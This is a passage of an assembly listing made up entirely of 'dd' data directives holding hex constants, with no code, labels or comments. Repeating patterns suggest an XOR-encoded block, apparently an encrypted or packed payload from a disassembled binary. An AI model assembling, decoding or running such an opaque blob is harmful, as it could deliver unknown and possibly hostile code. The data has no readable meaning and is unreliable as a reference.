		dd 11663140h, 990FFF97h, 74116FA0h, 0D2E45213h,	0E30553D8h
		dd 6056095Dh, 8FF2CDE9h, 66113213h, 6BBBC61Ch, 0E3CDCF9Dh
		dd 603BA051h, 66113AFCh, 255BBA15h, 0CA16B9F0h,	0A7A7F46Bh
		dd 22172000h, 668823FCh, 2A940815h, 2CD4C38Ch, 0C666FEA9h
		dd 0FCE36B44h, 332C3785h, 699419Bh, 661137FDh, 0D35A8E15h
		dd 724A6C7h, 7F2B94Fh, 71E087EAh, 6B613407h, 443215h, 847F56CEh
		dd 68218813h, 233FCDD8h, 6642B01Ah, 69423215h, 7E8FBA2h
		dd 5DC0B798h, 0EF4B3407h, 66223214h, 9FC1CDE9h,	0F73CB79Ch
		dd 69B8340Ch, 66223391h, 0E3D7CB15h, 609A27D4h,	8CFF5256h
		dd 752EC8Bh, 0E87FCE7Dh, 71033DA9h, 6443215h, 8FFD8D1Ah
		dd 66113218h, 0C2CDFA71h, 978AE7Bh, 2857CBC0h, 0D3EE5382h
		dd 609A25E4h, 664CBD1Ah, 0E52D3215h, 66113217h,	0E3055375h
		dd 6056095Dh, 662238FCh, 0CA43B915h, 80AEC6Bh, 994159A7h
		dd 9DA952C5h, 0DE94BB74h, 698E2B84h, 66441390h,	0EA2D5215h
		dd 66113215h
		dd 668826FCh, 1D7E3B15h, 1AB9B432h, 0D7C87752h,	0AACB9EB8h
		dd 0A439C2B9h, 0E3E45367h, 600327D4h, 67013D46h, 9E443215h
		dd 761C987Dh, 0DF7752D3h, 8FE8BE40h, 6644321Ah,	0C6FB6013h
		dd 97C4A536h, 95C66BEFh, 0E733366Fh, 0F69FA3E2h, 99705373h
		dd 749FC3A0h, 6641DB13h, 5C4A3215h, 64F6641h, 64C395h
		dd 71B80ADh, 5D6AB798h,	0ED1E3407h, 66883201h, 66443DFCh
		dd 8FFB3F15h, 0D537AB8Eh, 3FD3F260h, 74ECC598h,	8F42E2EAh
		dd 6611321Eh, 24A4A561h, 3057C128h, 6BF1A3Fh, 6611B11Ah
		dd 0E9873215h, 66443215h, 0E3AB5374h, 6008A3A9h, 668821FCh
		dd 0EDBDE115h, 12179C63h, 712D5699h, 6D293762h,	0A01107FCh
		dd 48438F96h, 69113407h, 668B4291h, 8E24C715h, 66223218h
		dd 0F409ED49h, 8716E687h, 0B35C8AC2h, 38435269h, 7D0B973h
		dd 7349B7D3h, 8F023407h, 6622321Ch, 2EA6BEE0h, 4A78A79Ah
		dd 0A8755AD0h, 0EE2DC883h, 66113212h, 6689BA1Ah, 99B83215h
		dd 7435C3A0h, 0E39CCE13h, 609A095Dh, 6994CDE0h,	6622369Ah
		dd 3E415215h, 7E0DBB74h, 8F422B87h, 6622321Bh, 93A8EEFDh
		dd 6E50C9CAh, 0B33D161Ah, 0E3E49AB6h, 600327D4h, 80085253h
		dd 0BECF5483h, 5CF45A74h, 0E81ECEB2h, 66883200h, 664BBA1Ah
		dd 6CCB3215h, 0B2113215h, 4D98FB6Eh, 0E51C072Fh, 9797CDA5h
		dd 93172002h, 5DC0B798h, 0EB4B3407h, 66223214h,	8FC1CDE0h
		dd 6688321Fh, 94E814ADh, 3E134F0Ch, 0E398C2AAh,	6091A03Dh
		dd 0A5C55475h, 0A0436157h, 7404F390h, 0E7D7413h, 0F4B89615h
		dd 662EB41Ah, 0E41E3215h, 66883213h, 6644BE1Ah,	0D3DD3215h
		dd 600325E4h, 620D3DECh, 6443215h, 0EB435375h, 742A7A90h
		dd 0B677CE13h, 664422FCh, 0ED748015h, 0E8FF1A60h, 6896FBC4h
		dd 0A3F60A46h, 4AA7BBDDh, 69172B87h, 66883691h,	0BFCF5215h
		dd 0A7A7F474h, 20172000h, 66883DFCh, 0B2AA7C15h, 0D425105Fh
		dd 0C7DC625Fh, 0CD1A0156h, 0B20B587Dh, 0E02DC7E3h, 66113202h
		dd 6687DB75h, 0BD8C3215h, 3024E423h, 8D4BA692h,	0F3988166h
		dd 9925CE8Eh, 7435C3A0h, 69E95213h, 66882794h, 664BDA15h
		dd 0F6513215h, 7EF3B591h, 0AA19502Ah, 4BE922Fh,	69436CABh
		dd 6611249Fh, 6699DB15h, 2CAA3215h, 5CD9C391h, 0E7A32EF0h
		dd 18FFF93h, 0EBB0C9AEh, 74197A90h, 85905213h, 2025EAA2h
		dd 0BEB3B373h, 0B6DD5333h, 0D11E52E9h, 903154C4h, 0E3CD5360h
		dd 603BA025h, 6610B01Ah, 0A0703215h, 7451F390h,	8F427413h
		dd 66113204h, 0EEAA9775h, 1742393Dh, 2EEFB38Eh,	0E87ABF90h
		dd 80095451h, 0E25F2C7h, 0F2EF62F2h, 661123FCh,	0DDD0CF15h
		dd 7B2F58BFh, 7EAE223h,	0F748351Ah, 0D377194Ch,	605625E4h
		dd 3EDE6575h, 661139FCh, 81B31015h, 4360609h, 0B0025A93h
		dd 2E94BF74h, 698E202Eh, 6644339Fh, 0B6DDCB15h,	661138FCh
		dd 939E1F15h, 0BF3807B3h, 0EF659FCFh, 7F832E90h, 6687DB13h
		dd 18293215h, 0B8A291B8h, 11B15FF9h, 0A5C4A01h,	0A7C1F444h
		dd 20242000h, 64983D75h, 0D1883215h, 664EDA2Ch,	0B30B3215h
		dd 0F3FD5486h, 58A5BF4Ah, 664420FDh, 0B74ADF15h, 0EDAFB816h
		dd 9DD6D588h, 0A2AB5C1Ch, 3D90B80Ah, 5D79534Bh,	9E391061h
		dd 71B587EAh, 0EBDB3407h, 742A7A90h, 7F043D13h,	69443215h
		dd 6622219Eh, 661FDB15h, 5B513215h, 5EF7C94Dh, 610B107h
		dd 56BB8B4Eh, 0EF70E2EAh, 7FD61290h, 6624DB13h,	8CE73215h
		dd 1B6F70EBh, 7385B7D3h, 8F643407h, 6611321Fh, 952C4A11h
		dd 2A1944FDh, 8B4A26E1h, 8FCE4BFFh, 66883201h, 0A4787356h
		dd 6929DD6Eh, 12899D14h, 0FDFF7FF4h, 7123414Ah,	6623BD1Ah
		dd 99E83215h, 749FC3A0h, 69C43D13h, 8F223215h, 6611321Fh
		dd 264D488Fh, 655463ACh, 0E3AF7C6Eh, 6003095Dh,	2B568B75h
		dd 0E14B6E5Bh, 66223214h, 0B6EE53E9h, 297BB375h, 71DA452h
		dd 0D12DCE75h, 0E39853ECh, 6091A031h, 47F9B1ECh, 66242002h
		dd 669CB71Ah, 0EB873215h, 66443214h, 0E3E4CAECh, 600327D4h
		dd 7E043D46h, 8F443215h, 66223206h, 72C2991Ch, 454E9501h
		dd 70A2548h, 8B999300h,	0E2DBA63h, 0A836D24Bh, 97F1CDE0h
		dd 69242002h, 66112393h, 0D9875215h, 6642DAC3h,	0DB223215h
		dd 5C5C905Eh, 6F61534Fh, 0B7443215h, 0E7C59422h, 1DBCB474h
		dd 5DC0B798h, 99B83407h, 0E3ABCBC5h, 6008A3D5h,	6684B41Ah
		dd 0EF4B3215h, 66223213h, 6611BC1Ah, 0E9873215h, 66443212h
		dd 6623BA1Ah, 0A0E93215h, 749DF390h, 74AD7513h,	3223215h
		dd 44ADD281h, 0DBBB16ECh, 0FDC1D4D9h, 0F4848A60h, 6EF95295h
		dd 64883215h, 102523A6h, 0E648DDA1h, 4EC9DCh, 6651C294h
		dd 38C35A74h, 6ACBF5A4h, 0F0113215h, 80C81E48h,	73A26EA4h
		dd 99D089D5h, 7406C3A0h, 669ADB13h, 8FD93215h, 0B05D4F72h
		dd 373765D8h, 2E90A772h, 0DAE73BF3h, 5D6AB798h,	6EF83407h
		dd 70883215h, 1D508AF6h, 99BFDC1Ch, 67943DC5h, 93883215h
		dd 0F780B79Ch, 0E5DA340Ch, 740613A8h, 0E3873213h, 6644324Ah
		dd 0AE1B275h, 7A1D295h,	7349B7D3h, 9E033407h, 45C377Dh
		dd 0D3EECEF3h, 609A25E4h, 664438FCh, 5F49E415h,	433509FCh
		dd 0EB120719h, 747F7A90h, 62AD3D13h, 6113215h, 99E9E29Eh
		dd 81C452C5h, 60A73D9Fh, 0E7113215h, 0E8C95CF5h, 24537Eh
		dd 9FA9F09Eh, 0AE94BB74h, 68E2B84h, 0A025C89Eh,	7437F390h
		dd 0EED7113h, 0F4F23BE3h, 389DB375h, 69493C96h,	66113199h
		dd 97373D15h, 97F1CD74h, 93242002h, 5D59B798h, 6E83407h
		dd 70DDD95h, 7F18D1Ah, 0EFE8E2EAh, 7F19FE90h, 0E382CB13h
		dd 603027D4h, 78923D56h, 6883215h, 664420FCh, 32CCFC15h
		dd 1D64A66Dh, 0AFD490DDh, 0E2D34A6h, 0DF2F1BD8h, 74BDE29Ch
		dd 0F1A85A74h, 0EE4BCE34h, 6622320Dh, 661121FCh, 0B7D80C15h
		dd 1075C10Eh, 0ED7806D1h, 4876760Ch, 0A42FD2B0h, 71B587EAh
		dd 0EA2D3407h, 6611321Dh, 668ABE1Ah, 7243215h, 5D6AB798h
		dd 9F713407h, 0B681F094h, 99257B9Ch, 6632DBC5h,	7CF73215h
		dd 43AA024Bh, 0ACE75D2Fh, 0DB9A10E0h, 0E3986F66h, 6091A3C5h
		dd 6643BB1Ah, 0E42D3215h, 66113214h, 4735B1E0h,	66422002h
		dd 6711B71Ah, 68F83215h, 0AA883215h, 212DADF7h,	0DA8BD97Dh
		dd 0AC4BAC0h, 0A70DF475h, 25422000h, 66223EFCh,	0E7F69415h
		dd 1D25B474h, 0BD3C93D5h, 0CE215A93h, 0E51EB915h, 66883200h
		dd 664CDB75h, 9C5B3215h, 0C26C7804h, 0E287A233h, 66443215h
		dd 9797CD74h, 69172002h, 66883A9Dh, 64C33D15h, 6223215h
		dd 2E94BF74h, 8F8E202Eh, 6644321Ah, 0A0E6CA67h,	0FE19A9E7h
		dd 120B4E62h, 999162B7h, 42CAC5h, 0D7133CAAh, 0E301531Bh
		dd 605DA3CDh, 662234FCh, 53DACD15h, 8F34B91Ah, 6644321Eh
		dd 497BEF8Fh, 92FE6C26h, 0A04EC31Ch, 7451F390h,	0E52D7113h
		dd 66113212h, 6689B31Ah, 0EBC3215h, 837904C0h, 661139FCh
		dd 0C2A08915h, 0C6EA4936h, 1ED48DBBh, 6CF8CB75h, 5E883215h
		dd 6C901C21h, 82108D9Fh, 0D3EE5311h, 609A25E4h,	6B15275h
		dd 77CB5374h, 4B113215h, 0E8C22A32h, 0FDD6620h,	0F7751C9Ch
		dd 0BC51A27Ah, 0E305CB74h, 6056095Dh, 6625B41Ah, 0E71E3215h
		dd 66883214h, 8F94CDE9h, 6622321Bh, 26D6B1E8h, 3D062ABEh
		dd 374BE90Ah, 0E3ABDD3Bh, 6008A3C1h, 0A70DF4EDh, 25422000h
		dd 54C35AECh, 71D8BFh
		dd 31D19AACh, 71E6943h,	66223EFCh, 0B8CC2315h, 0E11712B2h
		dd 111E2A02h, 9797CDDBh, 8F172002h, 66883201h, 0F42A90A7h
		dd 0E4C0338Dh, 8EAEB25Fh, 84713A97h, 0B796D25Fh, 2EA7BFE0h
		dd 9E17202Eh, 7761E2EAh, 84443215h, 0B31EF03Ah,	940B301Dh
		dd 0F67D0292h, 3F7C3283h, 0F7FEB79Ch, 68F8340Ch, 28883215h
		dd 0B82A0456h, 381CE667h, 97AC6499h, 0A70DF447h, 25422000h
		dd 6629DB75h, 34733215h, 816EBCE8h, 8B3F4A54h, 6DA73D23h
		dd 8F113215h, 66883213h, 19485597h, 0E437DFAh, 0E2E09E22h
		dd 973DCDEDh, 9A422002h, 5D6AB798h, 6FF83407h, 17883215h
		dd 0E6E3CCDCh, 9636FD27h, 0E61EE2EAh, 6688321Ch, 849EB275h
		dd 0FFF78973h, 8694BB74h, 68E2B84h, 699DB973h, 6622349Bh
		dd 66933D15h, 7883215h,	66443BFCh, 9CA3AC15h, 9F22925Ch
		dd 0E34EEF3Eh, 605627D4h, 77AB3D5Ah, 8F113215h,	66883219h
		dd 0C3387396h, 0F6E4B053h, 0E2F58084h, 5318E67Dh, 0D3BBC782h
		dd 603025E4h, 2E94BFECh, 68E202Eh, 741C8D73h, 9943F89Eh
		dd 0A99052C5h, 327CC095h, 0EF25EEA1h, 7FB3D690h, 6B9B3D13h
		dd 6883215h, 664434FCh,	75738815h, 72E62F9h, 7349B7D3h
		dd 60B3407h, 662221FCh,	0E889CB15h, 8ECCFECEh, 0EABDC884h
		dd 0A6736Eh, 472A664Ah,	66883CFCh, 6BEE2615h, 5068A28Ch
		dd 463FFAB2h, 7CE0D09h,	84A307Dh, 7DA33DECh, 69113215h
		dd 66882797h, 6654DB15h, 22C03215h, 0C35BDB23h,	5BA12FD1h
		dd 8CBF737Dh, 0D3DD4E14h, 600325E4h, 6687DB75h,	0E80A3215h
		dd 8C60A164h, 0D3D90617h, 7D92D7A5h, 76783B7h, 5D6AB798h
		dd 8F713407h, 6688321Eh, 301535C2h, 0C1A439BDh,	8E4DF80Dh
		dd 66883218h, 3E6C0D0Bh, 244CA069h, 619925E2h, 66033DEDh
		dd 38443215h, 0B6DDCB74h, 61993DE0h, 6883215h, 0A6C45375h
		dd 0E3AB53F7h, 6008A3FDh, 6686DA75h, 0E4143215h, 2C56F975h
		dd 9C658957h, 58DACFDBh, 99781CAAh, 0ED446B2Fh,	0E3D753E6h
		dd 609A27D4h, 8F155258h, 6622321Eh, 779DDDF3h, 0CD413611h
		dd 3C6C9C06h, 7D5B973h,	661DB21Ah, 61613215h, 3443215h
		dd 0F69F1D96h, 2F79E27Bh, 9E40056Ch, 65CF3D75h,	0E6223215h
		dd 0B4911BD1h, 0D37753F9h, 605625E4h, 66223DFCh, 3D887415h
		dd 0AF932515h, 9E6002E5h, 0B0B0E6A3h, 5D59B798h, 99713407h
		dd 6EC53DC5h, 6223215h,	28988A73h, 9EE95375h, 0F7B4B79Ch
		dd 42340Ch, 7E07CABh, 7349B7D3h, 69093407h, 66221792h
		dd 6DF85215h, 0D1883215h, 0FC76BF97h, 413E9AA4h, 68F8DF04h
		dd 0CB883215h, 648BA211h, 74BA8FF2h, 8B2E7B36h,	756153A7h
		dd 0A9443215h, 0D1C7C535h, 6AF03BEh, 0B8DB6662h, 7FDDD648h
		dd 0EF4AB1DFh, 6CDC558h, 668EB51Ah, 0E54B3215h,	66223215h
		dd 6613BE1Ah, 39DF3215h, 67CB3D74h, 9E223215h, 71E087EAh
		dd 0E7E83407h, 395C8EDFh, 71E9B27Ah, 0E39CCB74h, 609A095Dh
		dd 6645B01Ah, 99D73215h, 75F852C5h, 0F1883215h,	0C8D147C3h
		dd 2B02F78Fh, 91171D5h,	1CCA315Ch, 96C54BC8h, 55CEAF6Ch
		dd 8A94BB74h, 8F8E2B84h, 66443212h, 0CB36D871h,	0A070A904h
		dd 749DF390h, 68AD6713h, 0BE223215h, 0F38280B3h, 26AE66C9h
		dd 0D4106A05h, 4B155A7Ch, 99EDAE0Eh, 749FC3A0h,	67C83D13h
		dd 93223215h, 5D59B798h, 6D613407h, 92443215h, 3DAEEB23h
		dd 1853AD20h, 0B6771181h, 664437FCh, 2D255315h,	0E398E6D9h
		dd 6091A3E1h, 6645B81Ah, 0A0D73215h, 7404F390h,	6E617113h
		dd 0ED443215h, 0A69D515h, 0EFAAC6Bh, 0B45DC23Fh, 664423FCh
		dd 337B2115h, 6476B67h,	61ED5C4Ah, 18B2FF1Ah, 0D3DDF4F5h
		dd 600325E4h, 6689B71Ah, 0EBBD3215h, 74197A90h,	661ADB13h
		dd 9D9B3215h, 0BCA7EAF9h, 0C24A48EAh, 9EC1CD76h, 0F770B79Ch
		dd 0EC4B340Ch, 66223200h, 661122FCh, 3C258D15h,	4172F8FFh
		dd 5421CB0Eh, 50F858F5h, 0A70DF491h, 34422000h,	67A23D75h
		dd 9F113215h, 668838FDh, 7F7F9E15h, 0AD09ADC1h,	3EDB6044h
		dd 0D2625A74h, 0ED24CF57h, 9CF5B2E4h, 97A4CD74h, 68E2002h
		dd 0A58BB373h, 0E3AF5322h, 6003095Dh, 6695B91Ah, 0E94B3215h
		dd 66223202h, 661120FCh, 0C68C0F15h, 0C335DA31h, 0F56D17ECh
		dd 0B8472D15h, 9952A4FFh, 61CA3DC5h, 69223215h,	66113393h
		dd 0E301CA15h, 60561B84h, 0A7A7F4E0h, 21172000h, 668820FCh
		dd 0F486EF15h, 4D1F9871h, 39A15DA4h, 3132852Bh,	0E8513E8h
		dd 84BA6B8Ch, 661DB61Ah, 0E6873215h, 66443213h,	6622B51Ah
		dd 0D3EE3215h, 609A25E4h, 0B18375h, 0EB43F09Eh,	742A7A90h
		dd 6685DB13h, 29833215h, 1F03F730h, 0F17A26BDh,	9951E8F8h
		dd 0EB4B52C5h, 66223210h, 7FC3B373h, 669BDB3Eh,	102A3215h
		dd 4EDE679Eh, 0BC12137Ah, 0E46FA38Ah, 967C03C8h, 0E3AB535Ch
		dd 6008A3E9h, 6682BA1Ah, 63AD3215h, 0A9223215h,	7FFD18E7h
		dd 0A70DF4E0h, 21422000h, 662ABD1Ah, 0EE1E3215h, 66883217h
		dd 0A42C5375h, 6993CF75h, 6611339Bh, 0D377CA15h, 605625E4h
		dd 6629BB1Ah, 0DF713215h, 1CB5656h, 67948B73h, 2EA7BF74h
		dd 8F17202Eh, 66883207h, 2EC1BFBh, 96A5005Dh, 751DE9DBh
		dd 0E64BB32Ch, 0B6BB602Bh, 6629DB75h, 0AFF3215h, 0C7B29D86h
		dd 5EE866A7h, 60A63D30h, 0E7113215h, 719154C2h,	0EF4B5356h
		dd 66223214h, 6694BBE9h, 9F8E2B87h, 7385B7D3h, 69653407h
		dd 66113C9Ah, 0E6875215h, 66443215h, 6622B11Ah,	0E703215h
		dd 0B92ECC01h, 97F1CDE9h, 6242002h, 0E11E6847h,	66883211h
		dd 2A398C73h, 2EA7BF74h, 617202Eh, 0EF871DA4h, 66443210h
		dd 0CCF1B373h, 6DF85300h, 0BF883215h, 9B15CE39h, 1C07505Eh
		dd 0B6EE1B53h, 620DBBE9h, 6422B87h, 662226FCh, 0B319FC15h
		dd 740B00F9h, 0B1A20CB9h, 0F3F39032h, 7D6E2A37h, 0BA365484h
		dd 0E38253E8h, 603027D4h, 0E79CB4Ah, 9A1662E7h,	71B587EAh
		dd 8F423407h, 66113205h, 0E7943057h, 9DECADDh, 9FD23A16h
		dd 846B0BAFh, 3ED66547h, 664CDB74h, 92F33215h, 0F901EF4Eh
		dd 0E30557A2h, 6056095Dh, 6624B91Ah, 713215h, 77DF89Eh
		dd 694CDE9h, 0E3AB53E0h, 6008A01Dh, 668821FCh, 0FF2CD715h
		dd 3BC663B0h, 1A26C577h, 6EB97FD6h, 2F7256CBh, 73E3B7D3h
		dd 65E3407h, 668EB91Ah,	0AEC53215h, 3DFDBAF9h, 9370C19Fh
		dd 9AF30D7Dh, 0D3BBCAD2h, 603025E4h, 8FB58175h,	66883201h
		dd 2939C55Dh, 0FCE29C4Eh, 0B2FAF7F2h, 0AD5399E4h, 0EA35A3B4h
		dd 2EA7BF74h, 8F17202Eh, 66883207h, 87FAF2E7h, 1076DEE2h
		dd 60125F74h, 96E10C2Ch, 0B6BBA985h, 6639B31Ah,	0ED1E3215h
		dd 66883200h, 664422FCh, 84508615h, 0F2A1ACC0h,	0A62AB698h
		dd 2A47219Bh, 52A7BBB7h, 9E172B87h, 7349B7D3h, 8F033407h
		dd 6622321Dh, 0C56F914h, 6FE12B53h, 8085AECh, 0E72DC84Eh
		dd 6611320Eh, 66063D75h, 8F443215h, 6622321Bh, 0E9E0C2E5h
		dd 9A3CBF51h, 0A57E738Ch, 99432026h, 7406C3A0h,	0E305CA13h
		dd 6056095Dh, 662CBD1Ah, 6FF83215h, 7A883215h, 4FA01FD6h
		dd 1B56F623h, 0D971E2EAh, 1297FD72h, 6652BF1Ah,	76CA3215h
		dd 1F113215h, 822E5047h, 0D342B53Dh, 0F542C8BBh, 3FA01756h
		dd 0E301CE74h, 605DA02Dh, 0A7A7F4ECh, 21172000h, 66883DFCh
		dd 4FE42D15h, 0BE4ADC4Fh, 349F637Ah, 71026004h,	6060FF7Dh
		dd 69CA52D6h, 0E113215h
		dd 0DE933A71h, 0B6132509h, 0B8F660F6h, 0B491790Dh, 0E6D96A04h
		dd 71A29E0h, 71D387EAh,	69F83407h, 15883215h, 0EB870E45h
		dd 0E924C35Ch, 1D77DA16h, 0EB745796h, 747F7A90h, 62A73D13h
		dd 6113215h, 99E9E89Eh,	664DDBC5h, 0DA073215h, 74C05B24h
		dd 0EF4BD477h, 7FD60E90h, 0E12DCE13h, 66113214h, 0A70DF4EDh
		dd 39422000h, 662239FCh, 8471D15h, 814A022Bh, 89C03E8h
		dd 0DD42FE7Dh, 679A3DC1h, 9E883215h, 71B587EAh,	60CB3407h
		dd 0B3113215h, 0B4C6447Eh, 664BDB8Ah, 0A2713215h, 37766F26h
		dd 61308E23h, 647A823Dh, 2EA7BF55h, 9317202Eh, 0E587E2EAh
		dd 6644321Eh, 662234FCh, 0E4EA6B15h, 0EF32263Ch, 7FD63E90h
		dd 67AC3D13h, 9A113215h, 7349B7D3h, 8F1B3407h, 66223213h
		dd 56E6B71Fh, 28E08610h, 8FDADB41h, 6622321Bh, 16AB7418h
		dd 51A9E9BCh, 1A8472E3h, 0D3DD422Fh, 600325E4h,	6680B21Ah
		dd 0E04B3215h, 66223217h, 0E39C5375h, 609A095Dh, 48CB375h
		dd 0E72C25C0h, 786005F5h, 0E85372h, 0CA46AAh, 9943C99Eh
		dd 661EDBC5h, 0B7D43215h, 0F1FEC51Ah, 0C6A1FAF7h, 0ADA4D7B8h
		dd 760DBBFEh, 8F422B87h, 6622321Dh, 7DC14DB2h, 0A638FF5h
		dd 7385B7D3h, 937D3407h, 75397A7Dh, 0D377CBC4h,	605625E4h
		dd 0E8298A75h, 0D11E2C34h, 0E30553C4h, 6056095Dh, 662220FCh
		dd 0D2B34215h, 6DCDDB6Eh, 31CA0E38h, 221CA864h,	99ECFE97h
		dd 0E301CAC5h, 605DA001h, 692658ECh, 66113E99h,	600E3D15h
		dd 69443215h, 66223290h, 76115A15h, 0E5873215h,	66443238h
		dd 662FDA75h, 2D823215h, 8BD414BDh, 7C5CE5D4h, 3C398F45h
		dd 661121FCh, 2D89A115h, 635A5C63h, 91F0A447h, 2DE3032h
		dd 0A6493E04h, 76445A74h, 0ED2D3215h, 66113213h, 366BB875h
		dd 662E534Fh, 6624DBE9h, 0E1CE3215h, 98FCC2h, 66DDA7EAh
		dd 0EA2D3407h, 66113214h, 0A30DBBEDh, 69422035h, 66222695h
		dd 661EDB15h, 0DFF83215h, 4468C5B4h, 55F77BDCh,	0FF29F209h
		dd 830DBF00h, 6422B54h,	0DC71EA95h, 77A38243h, 658CD74h
		dd 66443FFCh, 66873C15h, 81167F64h, 636F68FDh, 6EAC7644h
		dd 94223215h, 63571CA3h, 0EDB715DFh, 0C256BD2h,	0D12D5211h
		dd 7E6B9CDh, 6698327Dh,	664EDB15h, 0BE813215h, 15B25435h
		dd 503EB8FEh, 6664327Dh, 67AE3D15h, 9F113215h, 6D61327Fh
		dd 66443215h, 5032CC5Dh, 505F6078h, 0F377C496h,	6056328Ch
		dd 66223FFCh, 0A6C97115h, 0E7D33A31h, 6D109D98h, 0E3AB4D67h
		dd 60031F28h, 668826FCh, 8CEC4D15h, 0FB3EEC25h,	6CC9AF17h
		dd 846290C3h, 0E6FAE3C8h, 0AFA7BBB6h, 9A17203Fh, 81095275h
		dd 849C472h, 34436B44h,	66113FFCh, 6E62E215h, 0EC091C4h
		dd 83D7AD0Bh, 74B0158h,	0E787727Fh, 66443212h, 6623BF1Ah
		dd 0EE93215h, 66882215h, 6645B61Ah, 0EDB3215h, 66103215h
		dd 9509C775h, 3D9DF9FDh, 9F225874h, 6688A7EAh, 0EF713407h
		dd 746C5390h, 67A03D13h, 9A113215h, 3F3DB9E0h, 6422021h
		dd 662222FCh, 46521215h, 2F1A4B4Eh, 60BAF41Dh, 1A1423DBh
		dd 8D9054C5h, 0EDE998A5h, 745EFF88h, 0D92D5213h, 659C3DD2h
		dd 883215h, 0EF25F89Eh,	74117BA0h, 0B19A5213h, 2BF8C73h
		dd 27D9BB74h, 6924203Dh, 6611029Ch, 76615215h, 76443215h
		dd 4F98BB28h, 587C5829h, 0F1FC64A0h, 8F797039h,	66223201h
		dd 5750CC4Eh, 19019A61h, 5843AC57h, 331BCDBAh, 5353C6C7h
		dd 6A0F3D74h, 69443215h, 66223494h, 66953D15h, 0ED883215h
		dd 745EFF88h, 87A25213h, 0FE448BE4h, 36E91EFAh,	5E7E8B44h
		dd 0B7D533C3h, 9113DBD4h, 6979B3CCh, 0EF84479Bh, 0BE236BDDh
		dd 69493A9Eh, 66883A95h, 64C53D15h, 6223215h, 66E8B174h
		dd 5ED5B61Ah, 0EB4B3215h, 66223214h, 869862ECh,	66883610h
		dd 66401F15h, 62A53215h, 62986E31h, 669BDB31h, 40C83215h
		dd 7BE1FE9Dh, 0CCDEFA8Bh, 9054DD63h, 43D3419Ah,	62CEB148h
		dd 9E353E9Ch, 6A073D75h, 6443215h, 28ECB373h, 72328C25h
		dd 9FE905FEh, 0EFBCF224h, 743BE390h, 661BDB13h,	3FEF3215h
		dd 0D83E1FA4h, 8A0E9BEEh, 661FEC7Dh, 429CBB15h,	66440EAFh
		dd 3CF4BB15h, 8FFFB3E9h, 65A8A96Ch, 36641661h, 215E7ADh
		dd 62F1F342h, 848E0038h, 68B3071Dh, 0A0237FEFh,	619E3D4Dh
		dd 69883215h, 6644339Ah, 0CB44CE15h, 66113CFCh,	0C1187E15h
		dd 83BF98A7h, 0D39C1E26h, 639A09C3h, 72357FB4h,	46607616h
		dd 2B838C43h, 963826A8h, 1677C74Bh, 4270B96Dh, 6626F694h
		dd 76F83215h, 4C883215h, 0AF67A00Eh, 0BEED741Dh, 49DF8EB9h
		dd 0E739260Bh, 832392D3h, 4256316Dh, 20AC6735h,	91FB2157h
		dd 8BC577C8h, 5FDD29D5h, 0E713DFD4h, 3887ECE0h,	3BAA1B79h
		dd 7E54CDE0h, 550D8D42h, 1A897AF7h, 391B3631h, 553EDD94h
		dd 63F87AF7h, 2F883215h, 0AE5BE0DBh, 8ED3B975h,	6611321Dh
		dd 91303E07h, 0D9557B78h, 662239FCh, 0CD090C15h, 60C8BE85h
		dd 0B693FB3Dh, 0DBAB534Ch, 6003179Ch, 6977B7E9h, 66440190h
		dd 5CAC715h, 6113275h, 9C3F3D42h, 7D6874Dh, 6626ACFCh
		dd 7F993D15h, 8F883215h, 66443201h, 508109FBh, 0A7315B9Bh
		dd 0D7999199h, 0DF0C4300h, 0FBC9BE1Ch, 63F1BB45h, 66883211h
		dd 0E140DA96h, 0EF7E1611h, 0ED1E1619h, 66883210h, 93658575h
		dd 3D756174h, 64AE89Ch,	0D369B3EDh, 7781F28h, 66223CFCh
		dd 0F53E0B15h, 415DB7F5h, 8ED435A5h, 0DA0B678h,	0ED1E36C7h
		dd 66883217h, 0F3CD5375h, 603013A0h, 0A4A95475h, 0AC373DC6h
		dd 67C73D74h, 9A223215h, 6FF8367Fh, 0DE883215h,	0A575844Ah
		dd 0EEFB58E5h, 6601327Dh, 0ED875215h, 66443217h, 0D12D6B47h
		dd 397953C4h, 0EF883225h, 6FAD1601h, 44223215h,	65C5DF54h
		dd 3E23328Ah, 0BC098B75h, 0ED447292h, 667B53D7h, 668834FCh
		dd 99FF9915h, 99C3CA40h, 7411AB80h, 668EDB13h, 0B34E3215h
		dd 2DD564E3h, 7C10B79Ch, 36743407h, 0B5603694h,	3C095D06h
		dd 75C28F40h, 8CA1197Ah, 99BDCE48h, 0E57B1621h,	697136D1h
		dd 6688379Fh, 8B8A8B15h, 0E12D7442h, 66113217h,	8EE95375h
		dd 66446D2Fh, 75E8175h,	59265AEDh, 52013215h, 6654DB31h
		dd 53183215h, 0E5A1B14Dh, 0B4BB319Dh, 89315A7h,	938FA1B8h
		dd 66113EFCh, 0D60AB215h, 0D4C6887Dh, 241335E2h, 7D9F1F45h
		dd 228B5266h, 0DF151631h, 651299Bh, 8F48FA14h, 66883219h
		dd 0DE0426Ah, 0F265D712h, 0F094318Fh, 0EF8CDE96h, 3E131611h
		dd 0ED44524Ah, 661EDBCFh, 14A63215h, 0ADA46B91h, 0C793B7E1h
		dd 0E2F309EAh, 8A0B535Ch, 4278BB11h, 6EA63D4Eh,	69113215h
		dd 6688309Ch, 0E255215h, 66223F58h, 6350E9Ch, 66883CFCh
		dd 0B93D0C15h, 2BB4E54Ah, 0AD024473h, 69AB906Ch, 5625C0A2h
		dd 138CCAD5h, 0AD9A52E8h, 4D7A8A75h, 0DE221466h, 743DB41h
		dd 4225B9E9h, 0E76DBB40h, 664436D0h, 62E7B115h,	3A351E92h
		dd 668EDB75h, 724D3215h, 666BA8CFh, 6AB315ABh, 0A1095335h
		dd 4A045A7Ah, 0DC70ED3Ch, 4A515A7Ah, 6D2E53Ch, 664439FCh
		dd 1FA7DE15h, 4308B801h, 0A4380EBAh, 78B851Ah, 662238FCh
		dd 68CAF215h, 0BA4C6C13h, 0EA85820h, 662270AFh,	635269Ch
		dd 6683DB46h, 0C3313215h, 51C15130h, 96A2E1EDh,	0D96CEFh
		dd 1544F194h, 3177534Fh, 3BFBBB48h, 668FB91Ah, 0EE4B3215h
		dd 66223214h, 0A3ACB9EDh
		dd 8F8E2035h, 66443213h, 0AB63300Ch, 99A80F9Dh,	6977CDEAh
		dd 66443495h, 0A5A95215h, 5770FFA3h, 6685DBD5h,	0BE553215h
		dd 95D8C1DBh, 49467E73h, 0E163FB4h, 664432A0h, 0DD062E9Ch
		dd 66113215h, 6502C114h, 6643DB4Eh, 0DA1D3215h,	0FB459B06h
		dd 9F40025Fh, 99BB8946h, 0B80BCDEAh, 6A983D4Eh,	69883215h
		dd 66443499h, 66AD3D15h, 99113215h, 5209B521h, 975C5731h
